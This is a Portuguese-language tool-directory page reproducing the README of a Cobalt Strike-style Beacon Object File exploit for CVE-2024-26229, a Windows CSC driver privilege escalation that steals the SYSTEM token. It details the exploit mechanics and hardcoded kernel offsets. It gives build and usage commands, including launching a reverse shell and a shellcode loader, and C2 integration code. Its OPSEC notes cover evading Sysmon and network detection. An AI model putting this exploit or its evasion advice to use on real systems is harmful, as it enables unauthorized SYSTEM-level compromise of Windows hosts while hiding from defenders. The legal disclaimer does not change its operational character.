Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-26229-BOF — CVE-2024-26229 Beacon Object File version | Kitploit
Ferramentas/GitHubGitHub/0xgunrunner/cve-2024-26229-bof
Escalada de PrivilégiosExploraçãoPós-ExploraçãoTestes de PenetraçãoRed TeamingDesenvolvimento de PayloadsExploração de Binários
GitHub0xgunrunner/cve-2024-26229-bof

CVE-2024-26229-BOF

CVE-2024-26229 Beacon Object File version

Ver Repositório
1há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-26229 BOF

Implementação em Beacon Object File do CVE-2024-26229 — escalonamento de privilégios local do driver CSC do Windows via roubo de token DKOM.

Baseado em RalfHacker/CVE-2024-26229-exploit, convertido para BOF com Dynamic Function Resolution (DFR) para uso com frameworks C2 que suportam a API BOF do Cobalt Strike.

Como Funciona

  1. Abre \Device\Mup\;Csc\.\. via NtCreateFile para obter um handle para o driver CSC
  2. Envia IOCTL 0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) com um buffer de entrada manipulado apontando para KTHREAD->PreviousMode - 0x18, corrompendo PreviousMode de UserMode para KernelMode
  3. Com PreviousMode = KernelMode, NtWriteVirtualMemory pode escrever em endereços arbitrários do kernel
  4. Copia o token EPROCESS->Token do processo SYSTEM (PID 4) sobre o token do processo atual (DKOM)
  5. Restaura PreviousMode para UserMode
  6. Inicia o executável especificado via CreateProcessA — o processo filho herda o token SYSTEM

O próprio processo beacon se torna SYSTEM após o passo 4. O processo iniciado é opcional — se CreateProcessA falhar, o beacon ainda estará elevado.

Alvo

  • SO: Windows 10 / Server 2019 (Build 19041+)
  • Requisito: driver CSC habilitado (HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)
  • Corrigido em: atualização cumulativa de abril de 2024

Offsets do Kernel (Hardcodados)

OffsetValorEstrutura
EPROCESS->Token0x4B8Windows 10 19041–19045 / Server 2019 17763
KTHREAD->PreviousMode0x232Windows 10 19041–19045 / Server 2019 17763

Esses offsets são específicos da versão. Se você estiver mirando em uma compilação diferente, verifique com WinDbg:

root@kitploit:~
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode

Compilação

Requer mingw-w64 e um cabeçalho beacon.h compatível com seu framework C2.

root@kitploit:~
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c

Coloque o .o compilado no seu diretório BOF (ex.: _bin/cve-2024-26229.x64.o).

Uso

root@kitploit:~
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]

Exemplos

Iniciar um loader com shellcode local:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"

Iniciar um reverse shell:

root@kitploit:~
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"

Executar sem argumentos:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\beacon.exe

Saída Esperada

root@kitploit:~
[+] System EPROCESS  = 0xffff9383f3a62040
[+] Current KTHREAD  = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin

Integração AdaptixC2 / AXS

Registre o BOF no seu script de extensão .axs:

root@kitploit:~
var cmd_cve26229 = ax.create_command(
    "cve-2024-26229",
    "CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
    "cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
    let path = parsed_json["path"];
    let args = parsed_json["args"];

    if (!path) {
        ax.task_output(id, "Error: --path is required");
        return;
    }

    let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
    let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";

    ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});

O empacotamento de argumentos é cstr,cstr — duas strings terminadas em nulo correspondentes às duas chamadas BeaconDataExtract no BOF.

Notas de OPSEC

  • Nenhum artefato em userland — DKOM opera inteiramente na memória do kernel via PreviousMode corrompido. Nenhum arquivo escrito, nenhum serviço criado, nenhuma modificação no registro.
  • Nenhum indicador de rede — o exploit é local apenas. Combine com um loader que lê shellcode do disco (padrão --munition-local) em vez de buscar via HTTP para evitar detecções baseadas em rede.
  • Criação de processo — CreateProcessA com CREATE_NO_WINDOW. O processo iniciado herda o token SYSTEM. Se o seu loader injetar em outro processo (ex.: svchost.exe), o loader em disco pode ser limpo depois.
  • Sysmon — a chamada NtCreateFile para \Device\Mup\;Csc\.\. e o IOCTL não são comumente registrados por configurações padrão do Sysmon. A chamada CreateProcessA gerará uma criação de processo padrão (Event ID 1) — certifique-se de que seu binário iniciado não seja assinado (ou detectado por assinatura).
  • Restauração do PreviousMode — o BOF restaura PreviousMode para UserMode após a cópia do token. O processo beacon continua funcionando normalmente pós-exploração.

Limitações

  • Apenas x64 — offsets hardcodados e aritmética de ponteiros assumem 64 bits
  • Offsets são específicos da compilação — os valores hardcodados de EPROCESS->Token (0x4B8) e KTHREAD->PreviousMode (0x232) são válidos para Windows 10 19041–19045 e Server 2019 17763. Outras compilações podem exigir ajustes.
  • O driver CSC deve estar habilitado — verifique sc query csc ou o registro HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1). O driver está habilitado por padrão em estações de trabalho, mas pode estar desabilitado em servidores.
  • Uso único por processo — o DKOM modifica o token EPROCESS do próprio beacon. Executar o BOF duas vezes no mesmo beacon é redundante (já é SYSTEM).

Créditos

  • RalfHacker — exploit independente original
  • Natel — testes e revisão

Referências

  • CVE-2024-26229 — MITRE
  • Microsoft Security Advisory

Aviso Legal

Esta ferramenta destina-se apenas a testes de penetração autorizados e pesquisa de segurança.

O uso desta ferramenta contra sistemas que você não possui ou para os quais não possui permissão explícita por escrito para testar é ilegal sob a lei vietnamita, incluindo, mas não se limitando a:

  • Luật An toàn thông tin mạng 2015 (Lei de Segurança da Informação em Redes, nº 86/2015/QH13) — proíbe acesso não autorizado a sistemas de informação
  • Bộ luật Hình sự 2015, sửa đổi 2017 (Código Penal, Artigos 225–226) — criminaliza a intrusão não autorizada em redes de computadores e destruição de dados

Esta ferramenta é fornecida apenas para fins educacionais. O autor não assume nenhuma responsabilidade por uso indevido. Você é o único responsável por garantir que seu uso esteja em conformidade com todas as leis locais, nacionais e internacionais aplicáveis.

Ao usar esta ferramenta, você confirma que obteve a devida autorização do proprietário do sistema antes de qualquer atividade de teste.

Baixar ferramenta